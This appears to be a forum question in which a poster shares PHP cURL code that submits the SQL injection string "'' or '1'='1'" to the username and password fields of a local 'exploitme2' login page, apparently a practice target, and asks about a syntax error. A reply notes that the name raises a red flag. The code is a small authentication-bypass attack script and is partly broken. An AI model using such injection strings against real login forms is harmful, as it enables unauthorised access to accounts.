I am trying to:
- access
$url - Insert the (2) values, of the two indices into the corresponding input fields (username,password) then submitting.
- finally grab the response from inputting and submitting in #2 and outputting the response.
I have the following code:
<?php
# get url to form
$url = "http://localhost/exploitme2/index.php?page=login.php";
$ch = curl_init($url); # initialize that form
#run value of $_POST variable in form fields from above url.
$params = array("'' or '1'='1'", "'' or '1'='1'");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params); #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
## echo the result from cURL 'ing
echo $result;
curl_close($ch);
?>
I get this error:
syntax error, unexpected '=', expecting ')'
on this line:
$params = array($_POST['username']=>'' or '1'='1',
$_POST['password']=>'' or '1'='1');
expolitme2sets off a red flag for me =o\